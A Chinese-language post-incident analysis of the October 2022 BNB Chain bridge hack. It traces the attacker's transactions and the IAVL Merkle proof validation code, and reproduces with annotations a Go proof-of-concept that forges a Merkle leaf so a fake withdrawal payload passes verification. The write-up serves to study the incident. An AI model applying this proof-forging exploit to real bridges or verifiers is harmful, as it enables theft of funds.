2022年10月7号的早晨,国庆的尾巴,在安总的群里看到了BNB被攻击的信息。追了下攻击哈希,看到了除了正常的跨链发币,没有什么异常行为。怀疑是默克尔树验证的时候出了问题。一周过去了,跟着大佬们的节奏分析下攻击者的行为。
攻击者地址:0x489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec
攻击hash:0xebf83628ba893d35b496121fb8201666b8e09f3cbadf0e269162baa72efe3b8b
攻击者首先花费了100BNB注册成为bsc的relayer,交易hash:
0xe1fe5fef26e93e6389910545099303e4fee774427d9e628d2aab80f1b53396d6
然后构造一个payload,通过handlePackage方法完成攻击。

刚进入handalPackage函数,首先检查了默克尔树的证明。
跟一下validateMerkleProof,通过合约内部的解析,整合参数调用预编译合约0x65 validateMerkleProof合约,预编译合约的默认入口为run方法。

然后呢我们就需要去bsc 虚拟机的代码中,跟一下这个预编译合约的逻辑,可以看到0x65指向iavlMerkleProofValidate。
// PrecompiledContractsIstanbul contains the default set of pre-compiled Ethereum
// contracts used in the Istanbul release.
var PrecompiledContractsIstanbul = map[common.Address]PrecompiledContract{
common.BytesToAddress([]byte{1}): &ecrecover{},
common.BytesToAddress([]byte{2}): &sha256hash{},
...
common.BytesToAddress([]byte{9}): &blake2F{},
common.BytesToAddress([]byte{100}): &tmHeaderValidate{},
common.BytesToAddress([]byte{101}): &iavlMerkleProofValidate{},
}
链上0x00000…0002000 会调用iavlMerkleProofValidate.Run方法,将解析传入参数,并调用kvmp.Validate方法,参数解析如下图

// input:
// | payload length | payload |
// | 32 bytes | |
func (c *iavlMerkleProofValidate) Run(input []byte) (result []byte, err error) {
......
kvmp, err := lightclient.DecodeKeyValueMerkleProof(input[precompileContractInputMetaDataLength:])
if err != nil {
return nil, err
}
valid := kvmp.Validate()
......
}
kvmp.Validate→prt.VerifyValue→prt.Verify的调用链,在prt.Verify中使用DecodeProof方法解析出payload的两个操作iavl:v、multistore。

获取操作之后,会调用对应op的Verify方法也就是IAVLValueOp.Run和xxxxx.Run,两个op的逻辑基本一样,计算默克尔树的根hash,验证是否存在,然后调用VerifyItem验证了下节点。
问题出现在tendermint的IAVL+树的验证只需要通过LeftPath加上左叶子节点的hash计算出根节点的hash,右叶子节点的添加对整个默克尔树的验证不存在影响。
参照samczsun大佬的验证文档
https://gist.github.com/samczsun/8635f49fac0ec66a5a61080835cae3db
//主函数修改了一些地方,应该更好理解一些,加一些国语备注,应该更好理解些
func main() {
// samczsun大佬重新找的伪造块
https://bscscan.com/tx/0xe93f7c385e2510007f0b9319f001fed0fc1d718604fbab5c8afaa55fe0bfb624
//合法的payload
legitPayloadBytes := mustDecode("0x00000000000000000000000000000000000000000000000000000e35fa931a0000f86ea0424e42000000000000000000000000000000000000000000000000000000000094000000000000000000000000000000000000000088018fb570626fa400942218ffe5fd6215aefb988c5130b109047ef903cc943cf604378ded77537f02ed2d082a609a0235864b84633f540c")
//合法的证明
legitProofBytes := mustDecode("0x0af8090a066961766c3a76120e00000100380200000000010dda4d1add09db090ad8090a2f081910978cb90818a6b892810122206a972442231cdcbd083f53f5b6e7d1364d01a7c3e39481a393663421d9d91e730a2f081810c5cdba0518a6b89281012220015e9258171...08a9b8928101122065a9c4ae2bba63d233c7fc28d81151880b0a4533df8cbed77660356ae0aa7c5b")
//伪造的payload
forgedPayloadBytes := mustDecode("0x000000000000000000000000000000000000000000000000000000000000000000f870a0424e4200000000000000000000000000000000000000000000000000000000009400000000000000000000000000000000000000008ad3c21bcecceda100000094489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec94489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec846553f100")
//伪造payload HASH
forgedValueHash := tmhash.Sum(forgedPayloadBytes)
//根据证明生成IAVL操作类
legitValueOp := getValueOp(legitProofBytes)
forgedValueOp := getValueOp(legitProofBytes)
// we do a little forging
//伪造一个叶子节点
//首先复制一个叶子节点
forgedLeafNode := getValueOp(legitProofBytes).Proof.Leaves[0]
//给伪造的叶子节点Key赋值
forgedLeafNode.Key = append([]byte(nil), []byte(forgedValueOp.GetKey())...)
//修改伪造的叶子节点key的最后一位,理论上应该大于默克尔树的最后一个叶子节点,此处原作者赋值255,改为253也能通过验证
forgedLeafNode.Key[13] = 253
//伪造叶子节点的ValueHash赋值
forgedLeafNode.ValueHash = forgedValueHash
//查看伪造叶子节点的hash
fmt.Println(forgedLeafNode.Hash())
//将伪造的叶子节点添加到伪造树的叶子数组
forgedValueOp.Proof.Leaves = append(forgedValueOp.Proof.Leaves, forgedLeafNode)
//InnerNodes 因为增加了新的右节点,所以需要在证明树中增加InnerNode nil
forgedValueOp.Proof.InnerNodes = append(forgedValueOp.Proof.InnerNodes, iavl.PathToLeaf{})
//forgedValueOp.Proof.LeftPath[len(forgedValueOp.Proof.LeftPath)-1].Right = mustDecode("A038FCFB3DD5C419DF679CE76FDAB39D21149069D037C39034CEF55AFDB9631B")
//将伪造的右节点hash插入到上层中间节点的Right中 forgedValueOp.Proof.LeftPath[len(forgedValueOp.Proof.LeftPath)-1].Right = forgedLeafNode.Hash()
//开始验证过程并验证伪造节点是否能够通过验证。
rootHash := legitValueOp.Proof.ComputeRootHash()
verifyErr := legitValueOp.Proof.Verify(rootHash)
fmt.Printf("legitOp rootHash=%X verifyErr=%v\n", rootHash, verifyErr)
rootHash = forgedValueOp.Proof.ComputeRootHash()
verifyErr = forgedValueOp.Proof.Verify(rootHash)
fmt.Printf("forgedOp rootHash=%X verifyErr=%v\n", rootHash, verifyErr)
{
verifyErr = legitValueOp.Proof.VerifyItem([]byte(legitValueOp.GetKey()), legitPayloadBytes)
fmt.Printf("legit verifyErr=%v\n", verifyErr)
verifyErr = legitValueOp.Proof.VerifyItem(forgedLeafNode.Key, forgedPayloadBytes)
fmt.Printf("forged verifyErr=%v\n", verifyErr)
}
{
verifyErr = forgedValueOp.Proof.VerifyItem([]byte(legitValueOp.GetKey()), legitPayloadBytes)
fmt.Printf("legit verifyErr=%v\n", verifyErr)
verifyErr = forgedValueOp.Proof.VerifyItem(forgedLeafNode.Key, forgedPayloadBytes)
fmt.Printf("forged verifyErr=%v\n", verifyErr)
}
}
知识盲区较多,理解环境吃力。这次分析涉及到的知识点比较多,有go基础语法和编译环境、预编译合约、bsc跨链原理、默克尔树的证明、IAVL+树操作。每一个知识点自己还是不太适应。需要学会像samczsun一样理解5%就能够做好分析的功力。相信5%也是来自长久的经验积累。
https://gist.github.com/samczsun/8635f49fac0ec66a5a61080835cae3db
《区块链架构与实现:Cosmos详解》(温隆,贾音)
